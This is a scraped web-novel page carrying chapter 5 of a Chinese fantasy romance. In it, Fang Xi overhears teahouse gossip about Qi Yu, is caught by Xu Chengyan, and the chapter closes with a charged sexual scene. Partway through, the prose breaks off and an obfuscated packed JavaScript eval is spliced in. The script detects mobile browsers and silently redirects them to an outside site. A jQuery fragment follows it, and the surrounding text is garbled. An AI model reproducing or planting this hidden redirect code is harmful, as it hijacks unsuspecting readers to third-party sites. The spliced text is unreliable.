默认冷灰
24号文字
方正启体

5. 第 5 章

作者:柏苒本书字数:K更新时间:
    天玄司设有神异和八方两部,神异部下设天、地、玄、黄四字阁,负责记载三千界各类神异。八方部,下设八经卦八字阁,负责记载四面八方俗世。


    天玄司神使皆以完成天玄纪事录为天职,以拨乱反正、平衡三千界各方势力为行事准则。


    天玄司十二字阁,皆奉天玄玉令为圭臬。上古时期,天玄司谋杀闻天语,遭其血咒屠戮,两败俱伤,闻天语沉眠,天玄司自此封印千年。


    八百年前,戚彧持天玄玉令,破除血咒封印,唤醒闻天语,得到天道认可,获得苍龙赐福,重启天玄司。


    幽冥殿以九幽冥主为主判官,十八狱官主刑,其下设提灯、打更、夜游、日游四画院主罚。伪神作乱后,幽冥殿事务皆由九幽冥主主导,再无十八狱官。


    二者相辅相成,天命二分,分管生与死。


    伪神陨落后,天玄司势压幽冥殿。


    直至今日,龙女殉道,闻天语沉眠,戚彧攻下幽冥殿,将其并入天玄司离字阁。天玄司彻底入世,凌驾天道玄门之上,弃天职,违天命。


    至于那个才上任百年之久就被迫转行的九幽冥主方溪,世人感慨她生不逢时,倒霉悲催,遇到这么一个不忠不道不义的同僚。


    天玄司对外宣称,九幽冥主对戚掌司使心悦诚服,愿意为其马首是瞻。


    明眼人都知道,冥主大人被大恶人戚彧胁迫,玄门墨客纷纷为其打抱不平,专挑戚彧当年那些陈芝麻烂谷子的事添油加醋写八卦小报,传播速度连乡野茶馆里茶博士都能嘴上几句。


    “据说戚彧还未得道飞升前是鸣雁一个小小的太史令,天资残缺无法修道,因其恩师徐甫推荐才得受到人皇渥丹的重用,徐甫何人也,那可是大能玄微子的高徒,鸣雁的大国师。”


    茶博士在眉飞色舞地讲着真伪难辨的八卦,众人听得津津有味。


    方溪背着把黑伞坐在阴暗角落,端起茶吹了吹,纤细的手指托着茶盏,她颔首抿了一口,一股难言的苦涩在唇齿之间蔓延。


    她眼瞳动了动,余光扫过周围。


    总觉得有人在盯着她。可她用神识洞察,只有几个散修罢了。


    “徐甫那么厉害怎么会收这等天资残缺的劣徒?”有人提问茶博士。


    “说到点了,这就不得不提一个英年早逝的天纵奇才,世人称其丹道昔,不知其姓,只知她单名一个‘昔’字。她的功绩不用我多说了吧,其炼制的清奇丸至今都是天道玄门疗效最最上乘的固元丹,没有之一。”


    清奇丸,固元培本,好东西。她现在正需要恢复元气,看来该往繁华的地方去了。


    在人间这些日子,她总算是懂点俗事了,要想打探消息随便找个茶馆、酒肆,丢上几粒金银,便可听人们闲谈人间的是是非非。


    “这丹道昔与戚彧是同乡,还是同生死共进退的莫逆之交。最重要的是她还是个美貌女子,天赋极高,为人正直纯良,受奸人戚彧蒙骗,骗身骗心,被戚彧抢其丹方,夺走修为,谋害致死。戚彧以进献丹方入徐甫门下,自此开始他卑鄙无耻的一生。大家听着耳不耳熟,这不就是他残害九幽冥主的路数吗?”


    方溪莫名被点名,目光投了过去,只见人们因他最后那句话变得慷慨激昂起来,纷纷为方溪打抱不平。


    “简直人神共愤。”


    茶博士只需一个话头,人们便七嘴八舌说道起自己知晓的八卦。


    方溪忽然间发觉这茶苦涩如黄连,招手要了碗凉白开,一饮而尽。


    舌根那股子苦味竟然微微发酸,这味道让她回想起一些不好的记忆。


    她屏息凝神,努力那些记忆按下去。收好情绪,她正要起身离开,肩头一沉,一只手将她按坐回原位。


    “粗茶便是如此,你吃不惯很正常。”


    说话的人好似猜到了她吃不惯这些东西。


    这声音一出,方溪头皮发麻,身体紧绷起来,全身血液倒流。


    这才半月戚彧就闭关结束了?


    早知道跑远些。


    许成砚神情自若地坐下,手很自然揽住她的消瘦的肩膀,五指手指骨节泛红,抓住她的肩头。


    方溪皮笑肉不笑,身体极其抗拒他的接触,想挪开身却被他用力带过去,她用手肘支开他:“大庭广众之下我不想跟你动手。”


    邻桌听到动静也只是当他们是在闹变扭的夫妻。


    他轻笑一声,没当回事,反而楼得更紧了。


    方溪有点愤愤道:“那么多位置,你就非得跟我挤一起是吗?”


    “不看紧点,一会儿你跑了我该怎么办?”


    方溪听到后面那几个字,抬眼瞪他,可目光触及他的眉眼时她还是习惯性躲闪。


    此时,人们又开始拔高嗓音,侃侃而谈起戚彧的风流债。


    “我还听说他好夺貌美人妻,啧啧。”


    “你怕是记错了,是别人夺他爱妻,要不然他会这么疯魔?去了一趟海外仙山回来就性情大变,八成是去之前就受刺激,不然寻不老药这种有去无回的差事正常人会去做?”


    “有家室还与丹道昔暧昧不清,被夺妻也是活该。”


    “……”


    “我听到是有人夺他妻,他气不过又去夺别人妻,夺妻不算,还辣手摧花以泄私愤。”


    这野史可真够野啊。


    听到此处,方溪目光挪回到许成砚那双深幽的眼眸上,她眼神越发不善。


    许成砚坦坦荡荡道:“太久远的事我记不清,但这个绝对没有。”


    “我没问你。”方溪道。


    许成砚盯着她看了一会儿,揽住她的那只手丈量了一下,他呢喃道:“瘦了。”


    许成砚几欲抬手摸她的脸,方溪别过头去:“与你无关。”


    他的手顿了顿,垂下悄悄覆盖在她的手背上,手指见缝插针的缠住她。


    她得整个后背几乎是靠在他的身上,这让她能无比清晰感受到他的怦怦跳个不停地心跳声。


    他在紧张什么?方溪疑惑。


    “我不在,你都不好好吃饭,你想在人间散心,那我陪着你。”


    他似乎在回避什么。


    方溪:“我不想散心。”


    “可我想。”


    自打许成砚将方溪带回天玄司,方溪一逮到机会就抄起家伙要取他性命,也不是没针锋相对过,结果无一例外是方溪体力不支,落下风。


    冥灵木心在她身体里待得太久,突然被取出来,空出来的位置总是重新长出血肉来。


    许成砚算着日子,她的心脉也快长全了。方溪只要多出门晒太阳,适应一段时日人间的灵气,就能真正获得一具人的躯体。


    不再是草木化形,而是真正有五感,能嗅到真正花香,能尝到更多的味道。不再流血泪,气色也会好转。


    许成砚在山涧建了一座小楼,除了荼靡花,弱水岸小竹楼的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406169|184475||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摆设一一复原。


    小院杏花树花开满枝,微风吹拂,花瓣如雪般飘落。


    方溪撑着黑伞,立在杏花树下触景伤怀,睹物思人,转眼撇见他那张脸,那不合时宜的愁绪变成愤怒。


    他怎么敢的?故意的是吧。


    有的人活着跟死了没什么两样。


    “以后无论你走多远,这里都属于你。”


    方溪哽住了。


    “我不想要这个。”方溪眼中毫无波澜,与许成砚料想的不一样,他以为方溪至少会回忆一下往昔岁月,最起码能开心一点。


    许成砚靠近方溪,高大的身影遮住她的瘦削,他的手指撩过她的鬓发,指尖在她耳垂打转,明知故问:“那你想要什么?”


    “我的心。”


    许成砚手指捏住她的耳垂,一直往下,指腹一直摩挲到她的锁骨。


    目光隐入松垮的衣襟深处。


    他呼吸变得沉重起来,嘴角勾了起来,半月来她的抵触让许成砚难以接受,纵使早就猜到她的反应,却还是这么做了。


    当情/欲与愧疚交织,不解与愤懑对抗,最初那份真挚无比的情意早已掺杂太多说不清的东西。纯粹早被无理的欲求玷/污。


    “那你打算拿什么来交换?”


    他的嗓音曾是清澈如新雪,如今再入耳却混浊如墨池,不堪。


    方溪审视着他一寸一寸的眉眼,她此刻多想许成砚不是他。


    往昔那般如胶似漆是真,她比许成砚更熟悉他的味道,许成砚比她更熟悉她的敏感。


    “你说呢。”方溪仰起头看着他,笑意渐深,不见当年满心欢喜。


    方溪不知自己是怎么上榻的,她只是朝他勾勾手,天旋地转间便到了软榻上。


    混乱、潮热、粘腻。


    啃咬,撕扯,仿若这就是战场,非得斗个你死我活,你方唱罢我登场。


    三年里的温柔与耐性全都在此刻化作泡影,暴戾、凶悍、不管不顾,才是彼此的本色。


    她难耐地哼出声来,抓着他被汗水浸湿的衣襟,方溪这时才醍醐灌顶,以前那都是隔靴搔痒、镜花水月,失去木心后她的身体越发变得脆弱。


    感官过载,所有触碰都会被无节制地放大,她湿漉漉的眼眸中含着晶莹剔透的水珠,方溪推搡开他,急促喘息着。


    许成砚用手捂住她的嘴唇,包裹住她的半张脸,与她额头想抵,两颗心靠得那么近,近得连心跳声都在宣誓对彼此的占有。


    许成砚粗喘着拥着她,亲吻她被汗淋湿的脖颈:“我是谁?”


    方溪死死咬着唇,不回答。这么简单的问题,她不想答,更不愿答,她就是死不承认。只要不承认就能顺理成章的去恨,不带任何一丝情。


    许成砚的手从她脸上挪开,手指没/入她的发间,在额角来回摩挲、一缕缕梳理她的鬓发,别在她的耳、肩后,让他更能清楚地看见她。


    他回想起她把自己从魇兽口中救下的模样,青丝间隐隐约约可以窥见的肩颈,惨白如纸。


    如今她肩颈经脉青紫可见,因湿热泛起了红,戚彧不得不暗骂自己几句。


    方溪不甘心因此败下阵,热气蒸腾瞬间一口咬住他脆弱的咽喉,也不知是不是呼吸太急促,她有点头晕目眩,意识迷糊起来。


    许成砚趁机再问她:“方溪,我是谁?”


    方溪昏昏沉沉小声应答。


    “许成砚。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)